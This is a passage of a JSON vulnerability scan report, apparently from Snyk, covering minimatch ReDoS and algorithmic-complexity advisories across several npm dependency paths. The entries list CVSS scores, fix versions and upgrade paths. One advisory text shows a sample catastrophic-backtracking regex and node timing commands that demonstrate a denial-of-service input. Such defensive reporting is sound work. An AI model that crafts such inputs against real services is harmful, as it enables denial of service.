Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/map-workspaces@5.0.3", "minimatch@10.2.6" ], "isUpgradable": true, 